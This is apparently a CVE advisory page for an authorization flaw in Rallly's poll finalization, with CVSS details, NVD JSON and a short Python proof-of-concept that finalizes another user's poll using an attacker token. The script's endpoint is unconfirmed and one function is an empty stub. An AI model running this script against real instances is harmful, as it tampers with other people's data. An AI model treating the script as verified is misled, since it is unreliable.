Security Vulnerability Report
中文
CVE-2025-65021 CVSS 9.1 CRITICAL

CVE-2025-65021

Published: 2025-11-19 18:15:50
Last Modified: 2025-11-25 15:32:53

Description

Rallly is an open-source scheduling and collaboration tool. Prior to version 4.5.4, an Insecure Direct Object Reference (IDOR) vulnerability exists in the poll finalization feature of the application. Any authenticated user can finalize a poll they do not own by manipulating the pollId parameter in the request. This allows unauthorized users to finalize other users’ polls and convert them into events without proper authorization checks, potentially disrupting user workflows and causing data integrity and availability issues. This issue has been patched in version 4.5.4.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:rallly:rallly:*:*:*:*:*:*:*:* - VULNERABLE
Rallly < 4.5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-65021 PoC - Rallly IDOR in Poll Finalization # Target: Rallly < 4.5.4 TARGET_URL = "https://your-rallly-instance.com" ATTACKER_TOKEN = "your-auth-token" def exploit_idor(target_poll_id): """ Exploit IDOR vulnerability in Rallly poll finalization. Replace TARGET_POLL_ID with the victim's poll ID. """ endpoint = f"{TARGET_URL}/api/polls/{target_poll_id}/finalize" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } payload = { "pollId": target_poll_id, "action": "finalize" } try: response = requests.post(endpoint, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully finalized poll: {target_poll_id}") print(f"[+] Response: {response.json()}") else: print(f"[-] Failed with status: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] Error: {str(e)}") def get_victim_poll_id(): """ Enumerate accessible poll IDs through API or page scraping. """ # Implementation depends on target environment pass if __name__ == "__main__": # Replace with target poll ID victim_poll = "VICTIM_POLL_ID_HERE" exploit_idor(victim_poll)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65021", "sourceIdentifier": "[email protected]", "published": "2025-11-19T18:15:49.667", "lastModified": "2025-11-25T15:32:53.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rallly is an open-source scheduling and collaboration tool. Prior to version 4.5.4, an Insecure Direct Object Reference (IDOR) vulnerability exists in the poll finalization feature of the application. Any authenticated user can finalize a poll they do not own by manipulating the pollId parameter in the request. This allows unauthorized users to finalize other users’ polls and convert them into events without proper authorization checks, potentially disrupting user workflows and causing data integrity and availability issues. This issue has been patched in version 4.5.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-639"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rallly:rallly:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.4", "matchCriteriaId": "05349176-CA4D-4360-A7E1-0EA2D8C24E7E"}]}]}], "references": [{"url": "https://github.com/lukevella/rallly/releases/tag/v4.5.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/lukevella/rallly/security/advisories/GHSA-x7w2-g548-4qg8", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}